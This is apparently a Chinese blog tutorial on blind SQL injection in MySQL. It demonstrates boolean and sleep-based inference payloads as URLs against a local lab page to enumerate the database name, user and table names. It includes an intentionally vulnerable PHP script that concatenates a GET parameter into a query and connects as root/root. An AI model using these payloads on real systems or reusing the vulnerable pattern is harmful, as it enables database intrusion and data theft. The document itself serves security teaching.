sql注入之盲注攻击

在我们学习盲注时,需要注意的事情是盲注基于true和false,即0和1,真返回1,假返回0
一个简单的小测试,数据库是sqlin,我们来判断数据库字符返回值是否为0或1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select mid(database(),1,1)='s';
+-------------------------+
| mid(database(),1,1)='s' |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select mid(database(),1,1)='r';
+-------------------------+
| mid(database(),1,1)='r' |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select database() regexp '^[a-z]';
+----------------------------+
| database() regexp '^[a-z]' |
+----------------------------+
| 1 |
+----------------------------+
1 row in set (0.00 sec)

mysql> select database() regexp '^[1-10]';
+-----------------------------+
| database() regexp '^[1-10]' |
+-----------------------------+
| 0 |
+-----------------------------+
1 row in set (0.00 sec)

常用的盲注函数

  • if 条件为真执行,反之不执行点击跳转
    • if(条件,执行(true),不执行(false))


  • length 统计字符串的长度点击跳转
    • length(number)

  • mid,substr 截取字符串的一部分点击跳转
    • mid(字段,起始位置(number),长度(number))

  • ORD 返回第一个字符串的ASCII码点击跳转
    • ord(x)

  • left 得到字符串左部指定个数的字符点击跳转
    • left(string,number)

  • regexp 正则注入点击跳转
    • regexp ‘^[a-z]’ 判断一个表的第一个字符串是否在a-z中
    • regexp ‘^r’ 判断第一个字符串是否为r
    • regexp ‘^r[a-z]’ 判断一个表的第二个字符串是否在a-z中

  • like 匹配注入点击跳转
    • 百分比(%)通配符允许匹配任何字符串的零个或多个字符。
    • 下划线(_)通配符允许匹配任何单个字符。
    • like ‘r%’ 判断第一个字符是否为r
    • like ‘ro%’ 判断前面两个字符串是否为ro
    • like ‘%ro%’ 判断是否包含ro两个字符串
    • like ‘%root%’ 判断是否包含root字符串
    • like ‘____’ 判断是否为4个字符
    • like ‘r___’ 判断第一个字符是否为r




if函数

if 条件为真执行,反之不执行
语法:
if(条件,执行(true),不执行(false))

其实if很简单,看看下面构造的这个语句就知道了

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(database()='sqlin',1,0),3

判断数据库是否为sqlin,如果是,返回1,否者返回0

sleep函数

这个函数也比较简单,但是有一个问题是在真实环境中,可能受网络环境影响,而导致效果不是太明显
sleep 执行延时number秒
语法:
sleep(number)
一般这个函数搭配if语句一起用
比如我们可以用这个函数判断是否有sqlin数据库

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,sleep(if(database()='sqlin',10,0)),3

判断数据库否有为sqlin,如果有返回的10带入到sleep,让网页延时10秒返回页面,否则网页延时0秒
如果秒速调高一点还是有用的,但是只返回1和0秒就基本废了

length函数

用于判断长度,返回0和1,比较常用
length 统计字符串的长度
语法:
length(number)

1
2
3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,length(database())=5,3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(length(database())=5,1,0),3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(length(database())>1,1,0),3

这个可以用> < = 符号,默认就是返回1和0,这里加上if看着更清晰

mid和substr函数

这两个函数基本差不多,都是从number开始,number结束,截取,这个是从1开始,而不是从0开始
mid,substr 截取字符串的一部分
语法:
mid(字段,起始位置(number),长度(number))

1
2
3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,mid(database(),1,1)='s',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,mid(database(),2,1)='q',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,mid(database(),1,5)='sqlin',3 //从第一个开始,取5个字符

substr(字段,起始位置(number),长度(number))

1
2
3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,substr(database(),1,1)='s',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,substr(database(),2,1)='q',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,substr(database(),1,5)='sqlin',3 //从第一个开始,取5个字符

ORD函数

这个函数只能返回字符串的第一个字符,所以建议加上mid函数
ORD 返回第一个字符串的ASCII码
sqlin 转换为ascii码=115 113 108 105 110
语法:
ord(x)

1
2
3
4
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,ord(database())=115,3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,ord(mid(database(),1,1))=115,3 //115=s
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,ord(mid(database(),2,1))=113,3 //113=q
//当然这个也是支持 > < = 符号的

left函数

left 得到字符串左部指定个数的字符
left(string,number) string为字符串,number为要截取的长度

1
2
3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,left(database(),1)='s',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,left(database(),2)='sq',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,left(database(),5)='sqlin',3

regexp正则

这个正则是一个很好用的匹配方式,比如匹配sqlin数据库
regexp ‘^[a-z]’ 判断一个表的第一个字符串是否在a-z中

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() regexp '^[a-z]',3

regexp ‘^s’ 判断第一个字符串是否为s

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() regexp '^s',3

regexp ‘^s[a-z]’ 判断一个表的第二个字符串是否在a-z中

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() regexp '^s[a-z]',3

like匹配

百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线(_)通配符允许匹配任何单个字符。
like ‘s%’ 判断第一个字符是否为s

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() like 's%',3

like ‘sq%’ 判断前面两个字符串是否为sq

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() like 'sq%',3

like ‘%sq%’ 判断是否包含sq两个字符串

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() like '%sq%',3

like ‘%sqlin%’ 判断是否包含sqlin字符串

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() like '%sqlin%',3

like ‘_‘ 判断是否为5个字符

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() like '_____',3

like ‘s____’ 判断第一个字符是否为s

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,database() like 's____',3




盲注攻击

上面的基本的盲注语句我们已经知道了,现在拿着php代码,来进行盲注
代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
-->
<body/>
</html>
<?php
$id = $_GET['x'];
$link=mysqli_connect("127.0.0.1","root","root","sqlin");//连接数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql="select * from page where id=$id";//查询
$re=mysqli_query($link,$sql);//执行查询语句
$data=mysqli_fetch_assoc($re);//获取数据库返回的内容
echo "文章id:".$data['id']."<hr />";
echo "文章标题:".$data['title']."<hr />";
echo "文章内容:".$data['content']."<hr />";
echo "当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
?>

数据库:
创建sqlin数据库,创建admin表和page表,并且向admin、page表里面分别插入数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
create database sqlin default character set utf8 collate utf8_general_ci;
use sqlin;
mysql> create table admin(
-> id int(3) auto_increment not null primary key,
-> username varchar(15) not null,
-> password char(32));
mysql> create table page(
-> id int(3) auto_increment not null primary key,
-> title varchar(20),
-> content varchar(255));
mysql> insert into admin(username,password) values('smelond','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into admin(username,password) values('admin','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into page(title,content) values('sqlzhuru','https://smelond.com');
mysql> insert into page(title,content) values('test','smelond.com');

判断数据库名,用户,数据版本

1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select database(),user(),version()

盲注:

1
2
3
4
5
6
7
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,mid(user(),1,1)='r',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,substr(user(),1,1)='r',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,ord(substr(user(),1,1))=114,3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,user() like 'ro%',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,user() regexp '^[r-s]',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,user() regexp '^s',3
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,length(user())>4,3

这里是一些基本的构造语法,其实盲注并不难,主要就是自己构造,但是还是需要知道基本的语法

然后我直接开始进行下面的测试:

获取sqlin数据库下的表名:

1
2
3
4
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3 from information_schema.tables where table_schema='sqlin' and length(table_name)=5 limit 0,1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3 from information_schema.tables where table_schema='sqlin' and table_name regexp '^[a-z]' limit 0,1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3 from information_schema.tables where table_schema='sqlin' and table_name regexp '^admi[a-z]' limit 0,1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3 from information_schema.tables where table_schema='sqlin' and table_name regexp '^admin' limit 0,1

获取到了admin表

我们在用其他方法来获取其他表,方法不止一种,知道了语法自己构造就可以了

1
2
3
4
5
6
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3 from information_schema.tables where table_schema='sqlin'
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(length((select table_name from information_schema.tables where table_schema='sqlin' limit 1,1))>3,1,0),3 from information_schema.tables where table_schema='sqlin'
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(length((select table_name from information_schema.tables where table_schema='sqlin' limit 1,1))=4,1,0),3 from information_schema.tables where table_schema='sqlin'
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(mid((select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),1,1)>'a',1,0),3 from information_schema.tables where table_schema='sqlin'
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(mid((select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),1,1)='p',1,0),3 from information_schema.tables where table_schema='sqlin'
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,if(mid((select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),1,4)='page',1,0),3 from information_schema.tables where table_schema='sqlin'

这种方法比上面看着要麻烦一些,但是我们还是获取到了page表

获取第二个表名:

1
2
3
4
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,table_name regexp '^page',3 from information_schema.tables where table_schema='sqlin' limit 1,1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,table_name like 'page',3 from information_schema.tables where table_schema='sqlin' limit 1,1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,mid(table_name,1,4)='page',3 from information_schema.tables where table_schema='sqlin' limit 1,1
http://192.168.32.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,left(table_name,4)='page',3 from information_schema.tables where table_schema='sqlin' limit 1,1

盲注其实并不难,主要是构造一些奇形怪状语句进行sql攻击,只要知道了语法就可以自己慢慢构造了,
趣建议了解一下sql语言

本文标题:sql注入之盲注攻击

文章作者:smelond

发布时间:2018年04月04日 - 09:04

最后更新:2018年04月08日 - 09:04

原始链接:http://smelond.com/2018/04/04/sql注入之盲注攻击/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

分享